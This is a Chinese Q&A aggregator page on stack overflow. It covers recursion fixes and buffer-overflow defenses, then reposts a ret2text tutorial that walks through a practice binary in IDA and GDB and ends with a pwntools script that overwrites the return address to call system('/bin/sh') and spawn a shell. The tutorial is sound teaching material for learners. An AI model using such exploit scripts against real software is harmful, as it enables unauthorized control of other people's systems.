如何解决栈溢出

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何解决栈溢出相关的知识,希望对你有一定的参考价值。

解决递归调用栈溢出的方法是通过尾递归优化,事实上尾递归和循环的效果是一样的,所以,把循环看成是一种特殊的尾递归函数也是可以的。

尾递归,在函数返回的时候,调用自身本身,并且,return语句不能包含表达式。这样,编译器或者解释器就可以把尾递归做优化,使递归本身无论调用多少次,都只占用一个栈帧,不会出现栈溢出的情况。



扩展资料

针对堆栈溢出可能造成的计算机安全问题,通常有以下这些防范措施:

1、强制按照正确的规则写代码。

2、通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。但由于攻击者并不一定要通过植入代码来实现攻击,同时linux在信号传递和GCC的在线重用都使用了可执行堆栈的属性,因此该方法依然有一定弱点。

3、利用编译器的边界检查来实现缓冲区的保护。该方法使得缓冲区溢出不可能出现,完全消除了缓冲区溢出的威胁,但代价较大,如性能速度变慢。

4、程序指针完整性检查,该方法能阻止绝大多数缓冲区溢出攻击。该方法就是说在程序使用指针之前,检查指针的内容是否发生了变化。

参考资料来源:百度百科-堆栈溢出

参考资料来源:百度百科-栈溢出

参考技术A 1,什么是栈溢出?因为栈一般默认为1-2m,一旦出现死循环或者是大量的递归调用,在不断的压栈过程中,造成栈容量超过1m而导致溢出。2,解决方案:方法一:用栈把递归转换成非递归通常,一个函数在调用另一个函数之前,要作如下的事情:a)将实在参数,返回地址等信息传递给被调用函数保存; b)为被调用函数的局部变量分配存储区;c)将控制转移到被调函数的入口. 从被调用函数返回调用函数之前,也要做三件事情:a)保存被调函数的计算结果;b)释放被调函数的数据区;c)依照被调函数保存的返回地址将控制转移到调用函数.所有的这些,不论是变量还是地址,本质上来说都是"数据",都是保存在系统所分配的栈中的. 那么自己就可以写一个栈来存储必要的数据,以减少系统负担。 方法二:使用static对象替代nonstatic局部对象在递归函数设计中,可以使用static对象替代nonstatic局部对象(即栈对象),这不仅可以减少每次递归调用和返回时产生和释放nonstatic对象的开销,而且static对象还可以保存递归调用的中间状态,并且可为各个调用层所访问。 方法三:增大堆栈大小值当创建一个线程的堆栈时,系统将会保留一个链接程序的/STACK开关指明的地址空间区域。但是,当调用CreateThread或_beginthreadex函数时,可以重载原先提交的内存数量。这两个函数都有一个参数,可以用来重载原先提交给堆栈的地址空间的内存数量。如果设定这个参数为0,那么系统将使用/STACK开关指明的已提交的堆栈大小值。后面将假定我们使用默认的堆栈大小值,即1MB的保留区域,每次提交一个页面的内存。 Java在创建线程时设置栈大小:thread(threadgroup group, runnable target, string name, long stacksize)
分配新的 thread 对象,以便将 target 作为其运行对象,将指定的 name 作为其名称,作为 group 所引用的线程组的一员,并具有指定的堆栈大小。本回答被提问者采纳

堆栈认知——栈溢出实例(ret2text)

参考:栈溢出实例–笔记一(ret2text)
地址:https://qingmu.blog.csdn.net/article/details/119295954

目录

1、什么是栈溢出?

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致栈中与其相邻的变量的值被改变。

2、栈结构

3、栈溢出需要解决的问题

在我们知道什么是栈溢出以及了解了栈的结构之后,我们就可以开始通过栈溢出破坏栈结构。

在破坏栈结构的时候,我们需要注意两个问题:

1、如何跳转?

2、跳转到哪里去?

3.1、解决如何跳转的问题

在上面栈结构的图中,在当前栈帧中向栈中某个变量中写入值的时候,我们就可以写入超过了这个变量本身所申请的字节数,不断的往上覆盖直到其返回值地址的地方,从而到我们想要的地址的地方写入我们要写入的地址。

简而言之:我们调用完一个函数后,函数会返回,并执行下一个函数。我们就需要把这个返回地址覆盖成我们的shellcode,进而让函数执行我们的shellcode,从而拿到shell,控制其程序的目的。(在此文章中是返回到系统的system(“/bin/sh”)函数上)

实例如下:

1、首先我们准备一个二进制程序

这是一个32位的程序

2、我们通过IDA来看一下汇编代码

我们先反汇编一下

看到这个函数调用了puts和gets函数,并且其中的s并未做大小的校验。此时我们的思路就活跃了起来,s作为gets函数的参数,并且保存在栈上,我们就可以通过向s的地址中写入数据的时候覆盖掉栈的其他数据。

我们通过GDB实战一下:

我们先调试起来,让其运行到gets函数:

此时汇编在向下走我们就需要输入数据了,并且S的地址为0xf7ffd000,栈的第一个参数的地址为0xffffd41c, 此时我们来看一下栈的栈结构

此时在栈中,我们发现我们输入的数据是从eax开始的,那么我们从上面的栈结构的图中了解到,我们就可以不断向上覆盖到ebp,返回地址,参数等等。

我们实验覆盖到ebp。

ebp的地址为0xffffd488,eax的地址为0xffffd41c,ebp-eax=0x6c。

此时我们输入0x6c个a看看实际效果:



此时会发现我们精准的覆盖了ebp到eax之间的内容。

不相信的话我们在试试覆盖一下ebp试一下呢?

我们写入 0x6c个a+0x04个b试试看效果:

此时我们的ebp就被覆盖成了bbbb,此时我们就完成了如何跳转的问题了。

3.2、跳转到哪里去?

在上面我们解决了如何跳转的问题,那么跳到哪里去呢?

根据上面的栈结构,毋庸置疑肯定跳到返回地址的地方嘛,调到返回地址的地方,如果此时我们填上了我们准备好的shell code,那岂不是就可以执行我们的shell code,从而获取shell了。

这里先实验第一种方法(后续方式另写文章补充):
本身程序具有system函数

我们使用IDA看一下:

我们发现程序中有system函数,并且在0x0804863A这个地址会把“/bin/sh”传给system函数,此时我们的目标就明了了。

覆盖到返回地址为0x0804863A并执行system函数从而反弹shell拿到这个程序的控制权限

4、实战

我们实战的时候使用Python来编写脚本,为什么呢?

因为Python集成的有pwn库,用来做栈溢出非常的方便。

# coding=UTF-8
from pwn import * 

p = process("./ret2text")                   #指定程序
elf=ELF("./ret2text")                       # 加载ELF  为了pwn 可以解析./ret2text这个二进制文件                 
libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")# 加载libc 
	

padding = 'a'*0x6c                          # 准备0x6c个a覆盖到ebp
fake_ebp= 'a'*0x4                           # 准备0x4个a覆盖ebp
retcode = 0x0804863A                        # 准备好需要覆盖的地址,也就是上述中传参给system的地址
payload = padding + fake_ebp+p32(retcode)    #把上述准备的字符串打包成payload
p.sendlineafter("do you know anything?\\n",payload) #在二进制程序的do you know anything?打印之后也就是执行gets函数时传入我们准备好的payload
p.interactive() 

来试验一下看看效果:

此时我们就拿到了shell权限,通过这个二进制程序控制其主机。

以上是关于如何解决栈溢出的主要内容,如果未能解决你的问题,请参考以下文章

如何解决SqlDateTime 溢出

递归调用太深,可能导致栈溢出

DIV嵌套DIV宽度溢出,请问如何解决?

Java如何在不使用递归的情况下导致栈溢出?

堆栈认知——栈溢出实例(ret2text)

堆栈认知——栈溢出实例(ret2text)